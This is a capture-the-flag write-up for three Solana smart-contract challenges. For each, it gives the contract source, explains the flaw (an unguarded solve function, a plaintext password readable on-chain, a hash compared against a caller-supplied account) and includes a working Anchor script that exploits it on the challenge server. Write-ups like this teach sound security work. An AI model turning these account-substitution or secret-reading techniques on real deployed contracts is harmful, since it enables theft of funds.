Please do note that i am a complete beginner at this category. So expect the exploit code to be a little weird because of ChatGPT
solantol
Description
Author: dimas
Challenge solana pertama di TCP1P :)
Connect:
Initial Analysis
We are given a Solana smart contract
Copy use anchor_lang::prelude::*;
declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");
#[program]
pub mod setup {
use super::*;
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
let solved_account = &mut ctx.accounts.solved_account;
solved_account.solved = false;
Ok(())
}
pub fn solve(ctx: Context<Solve>) -> Result<()> {
let solved_account = &mut ctx.accounts.solved_account;
solved_account.solved = true;
Ok(())
}
pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
let solved_account = &ctx.accounts.solved_account;
Ok(solved_account.solved)
}
}
#[derive(Accounts)]
pub struct Initialize<'info> {
#[account(
init,
payer = user,
space = 8 + 1,
)]
pub solved_account: Account<'info, SolvedState>,
#[account(mut)]
pub user: Signer<'info>,
pub system_program: Program<'info, System>,
}
#[derive(Accounts)]
pub struct Solve<'info> {
#[account(mut)]
pub solved_account: Account<'info, SolvedState>,
}
#[derive(Accounts)]
pub struct IsSolved<'info> {
pub solved_account: Account<'info, SolvedState>,
}
#[account]
pub struct SolvedState {
pub solved: bool,
}
The objective is simple, we just need to call the solve
function to flip the isSolved
variable to True.
Exploitation
Basically we need to call the solve function
Copy const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection } = anchor.web3;
const RPC_URL =
"http://playground.tcp1p.team:7752/e6dccc7a-5348-4eba-9c54-11ca05efbcd5";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
"e3oEyUUvk6WfvXzDhPrLimENYLwyn4QWoK3VTy8C5jqZ4E1CZK3ek2tGJ8JYvfnhdhgTWJ514ej74RAHtkyoYUQ"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("GfzNr5biA4CnUimnHP9jTHcitbumJRUbprcBfuFjiT8o");
const idl = {
version: "0.0.0",
name: "setup",
instructions: [
{
name: "initialize",
accounts: [
{ name: "solvedAccount", isMut: true, isSigner: false },
{ name: "user", isMut: true, isSigner: true },
{ name: "systemProgram", isMut: false, isSigner: false },
],
args: [],
},
{
name: "solve",
accounts: [{ name: "solvedAccount", isMut: true, isSigner: false }],
args: [],
}
]
};
const program = new anchor.Program(idl, programId, provider);
const solvedAccount = new PublicKey(
"B3E6bhLJ5HFk1Qw4TSeZZTzeU6Req3YsRBFBKFFkS5si"
);
(async () => {
try {
const tx = await program.rpc.solve({ accounts: { solvedAccount } });
console.log("Transaction signature:", tx);
} catch (e) {
console.error(e);
}
})();
First, we need to sets up the credentials given from the server. Then we define the program interface (IDL) so we can match it with the real contract. Then in here:
Copy (async () => {
try {
const tx = await program.rpc.solve({ accounts: { solvedAccount } });
console.log("Transaction signature:", tx);
} catch (e) {
console.error(e);
}
})
We just call the solve function. Then it is solved!
Flag: RAMADAN{susahnya_setup_infra_solana}
solantol 2
Description
Author: dimas
Challenge solana kedua di TCP1P :)
Initial Analysis
We are given yet another Solana smart contract:
Copy use anchor_lang::prelude::*;
declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");
#[program]
pub mod setup {
use super::*;
pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
vault.password = password;
vault.solved = false;
vault.owner = ctx.accounts.user.key();
Ok(())
}
pub fn solve(ctx: Context<Solve>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
if password == vault.password {
vault.solved = true;
}
Ok(())
}
pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
let vault = &ctx.accounts.vault;
Ok(vault.solved)
}
}
#[derive(Accounts)]
pub struct Initialize<'info> {
#[account(
init,
payer = user,
space = 8 + VaultState::INIT_SPACE,
)]
pub vault: Account<'info, VaultState>,
#[account(mut)]
pub user: Signer<'info>,
pub system_program: Program<'info, System>,
}
#[derive(Accounts)]
pub struct Solve<'info> {
#[account(mut)]
pub vault: Account<'info, VaultState>,
}
#[derive(Accounts)]
pub struct IsSolved<'info> {
pub vault: Account<'info, VaultState>,
}
#[account]
#[derive(InitSpace)]
pub struct VaultState {
pub owner: Pubkey,
#[max_len(100)]
pub password: String,
pub solved: bool,
}
The vulnerability lies in:
Copy pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
vault.password = password;
vault.solved = false;
vault.owner = ctx.accounts.user.key();
Ok(())
}
The program stores the password as a plaintext string. Since all Solana account data is public. We can read it from the VaultState.
Copy #[account]
#[derive(InitSpace)]
pub struct VaultState {
pub owner: Pubkey,
#[max_len(100)]
pub password: String,
pub solved: bool,
}
Copy pub fn solve(ctx: Context<Solve>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
if password == vault.password {
vault.solved = true;
}
Ok(())
}
Then to solve it, we need to call solve, with the argument, of the password.
Exploitation
Well because the password is stored as plaintext on the vault. We can just read the vault, get the password and submit it to the solve
function. We sets up the IDL just like before to make our life easier.
Copy const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection } = anchor.web3;
const RPC_URL =
"http://playground.tcp1p.team:8752/a8142c5a-5e96-4afb-955b-343407e94ce5";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
"4BNkMEGPeTjXfq9fT69SJmZffPK6dJLhFq5QpQYEn3vbDV2bapbPwxJfYeBMg6HCV4eyqxWCBg3oPtMzVTTfaCKA"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("3hGZbHn6LEQ8ePktjKAa4vF3Lb7QuBX6qGWrpy3BCkjS");
const idl = {
version: "0.0.0",
name: "setup",
instructions: [
{
name: "initialize",
accounts: [
{ name: "vault", isMut: true, isSigner: false },
{ name: "user", isMut: true, isSigner: true },
{ name: "systemProgram", isMut: false, isSigner: false },
],
args: [{ name: "password", type: "string" }],
},
{
name: "solve",
accounts: [{ name: "vault", isMut: true, isSigner: false }],
args: [{ name: "password", type: "string" }],
}
],
accounts: [
{
name: "vaultState",
type: {
kind: "struct",
fields: [
{ name: "owner", type: "publicKey" },
{ name: "password", type: "string" },
{ name: "solved", type: "bool" },
],
},
},
],
};
const program = new anchor.Program(idl, programId, provider);
const vaultAccount = new PublicKey("F6aQEDRdWHkYue5AehnWhKRA5Uygq4up8FqoYYbQHEaq");
(async () => {
try {
const vaultState = await program.account.vaultState.fetch(vaultAccount);
const storedPassword = vaultState.password;
console.log("Password:", storedPassword);
const tx = await program.rpc.solve(storedPassword, {
accounts: { vault: vaultAccount },
});
console.log("Transaction signature:", tx);
const updatedVault = await program.account.vaultState.fetch(vaultAccount);
console.log("Challenge solved:", updatedVault.solved);
} catch (e) {
console.error(e);
}
})();
Flag: RAMADAN{everything_is_public_and_readable}
solantol 3
Description
Author: dimas
Challenge solana ke-tiga di TCP1P :)
Initial Analysis
We are given yet another Solana smart contract:
Copy use anchor_lang::prelude::*;
use sha2::{Sha256, Digest};
declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");
#[program]
pub mod setup {
use super::*;
pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
let mut hasher = Sha256::new();
hasher.update(password.as_bytes());
let password_hash = format!("{:x}", hasher.finalize());
vault.password_hash = password_hash;
vault.solved = false;
vault.owner = ctx.accounts.user.key();
Ok(())
}
pub fn attempt_solve(ctx: Context<Solve>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
let mut hasher = Sha256::new();
hasher.update(password.as_bytes());
let result = format!("{:x}", hasher.finalize());
require!(result == ctx.accounts.attempt_deposit.password_hash, CustomError::IncorrectPassword);
vault.solved = true;
Ok(())
}
pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
let vault = &ctx.accounts.vault;
Ok(vault.solved)
}
}
#[error_code]
pub enum CustomError {
#[msg("Incorrect password")]
IncorrectPassword,
#[msg("Incorrect owner")]
IncorrectOwner,
}
#[derive(Accounts)]
pub struct Initialize<'info> {
#[account(
init,
payer = user,
space = 8 + VaultState::INIT_SPACE,
)]
pub vault: Account<'info, VaultState>,
#[account(mut)]
pub user: Signer<'info>,
pub system_program: Program<'info, System>,
}
#[derive(Accounts)]
pub struct Solve<'info> {
#[account(mut)]
pub vault: Account<'info, VaultState>,
#[account(mut)]
pub attempt_deposit: Account<'info, VaultState>,
#[account(mut)]
pub user: Signer<'info>,
}
#[derive(Accounts)]
pub struct IsSolved<'info> {
pub vault: Account<'info, VaultState>,
}
#[account]
#[derive(InitSpace)]
pub struct VaultState {
pub owner: Pubkey,
#[max_len(64)]
pub password_hash: String,
pub solved: bool,
}
The vault password here is hashed. But there's a logic error here:
Copy pub fn attempt_solve(ctx: Context<Solve>, password: String) -> Result<()> {
let vault = &mut ctx.accounts.vault;
let mut hasher = Sha256::new();
hasher.update(password.as_bytes());
let result = format!("{:x}", hasher.finalize());
require!(result == ctx.accounts.attempt_deposit.password_hash, CustomError::IncorrectPassword);
vault.solved = true;
Ok(())
}
It checks if the hash result of the passed password is equal to the accounts password_hash , where it should have been compared to vault.password_hash. With this logic, we can just create an account, with a known password. Then pass it to the attempt_solve method.
Exploitation
The exploit is simple enough, i don't think i can provide much explanation:
Copy const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection, SystemProgram } = anchor.web3;
const RPC_URL =
"http://playground.tcp1p.team:9752/5af27991-295f-48db-acaf-98a7d54d6d1b";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
"L3pLyDJEMjTBqRC3sSAPvWhU2Ua8FFdxP6KnMbLw6Vh3NHLqyJren6V5wrWCVzNnHjV77tiH476HQ3iiJmGU6d8"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("9ezknT1vry9kuzwe2genJip524qTA4Suof4DcEN7QB3S");
const idl = {
"version": "0.0.0",
"name": "setup",
"instructions": [
{
"name": "initialize",
"accounts": [
{ "name": "vault", "isMut": true, "isSigner": true },
{ "name": "user", "isMut": true, "isSigner": true },
{ "name": "systemProgram", "isMut": false, "isSigner": false }
],
"args": [
{ "name": "password", "type": "string" }
]
},
{
"name": "attemptSolve",
"accounts": [
{ "name": "vault", "isMut": true, "isSigner": false },
{ "name": "attemptDeposit", "isMut": true, "isSigner": false },
{ "name": "user", "isMut": true, "isSigner": true }
],
"args": [
{ "name": "password", "type": "string" }
]
},
{
"name": "isSolved",
"accounts": [
{ "name": "vault", "isMut": false, "isSigner": false }
],
"args": []
}
],
"accounts": [
{
"name": "vaultState",
"type": {
"kind": "struct",
"fields": [
{ "name": "owner", "type": "publicKey" },
{ "name": "passwordHash", "type": "string" },
{ "name": "solved", "type": "bool" }
]
}
}
]
};
const program = new anchor.Program(idl, programId, provider);
const vaultAccount = new PublicKey("9CetqxD2CwTAHsUShrhoysXVE4BYMWw1VtC33AissFzS");
const attemptDepositKeypair = Keypair.generate();
const exploitPassword = "miraimirai";
(async () => {
try {
const txInit = await program.rpc.initialize(exploitPassword, {
accounts: {
vault: attemptDepositKeypair.publicKey,
user: playerKeypair.publicKey,
systemProgram: SystemProgram.programId,
},
signers: [attemptDepositKeypair],
});
console.log("Initialized attemptDeposit account, tx signature:", txInit);
const txSolve = await program.rpc.attemptSolve(exploitPassword, {
accounts: {
vault: vaultAccount,
attemptDeposit: attemptDepositKeypair.publicKey,
user: playerKeypair.publicKey,
}
});
console.log("Called attemptSolve, tx signature:", txSolve);
const vaultState = await program.account.vaultState.fetch(vaultAccount);
console.log("Vault solved state:", vaultState.solved);
} catch (e) {
console.error(e);
}
})();
First we create a new account by calling initialize
function on the contract:
Copy const txInit = await program.rpc.initialize(exploitPassword, {
accounts: {
vault: attemptDepositKeypair.publicKey,
user: playerKeypair.publicKey,
systemProgram: SystemProgram.programId,
},
signers: [attemptDepositKeypair],
});
Then we just call the attempt_solve
function with our known password to solve it:
Copy const txSolve = await program.rpc.attemptSolve(exploitPassword, {
accounts: {
vault: vaultAccount,
attemptDeposit: attemptDepositKeypair.publicKey,
user: playerKeypair.publicKey,
}
});
console.log("Called attemptSolve, tx signature:", txSolve);
const vaultState = await program.account.vaultState.fetch(vaultAccount);
console.log("Vault solved state:", vaultState.solved);
Flag: RAMADAN{congrats_you_just_create_your_first_account}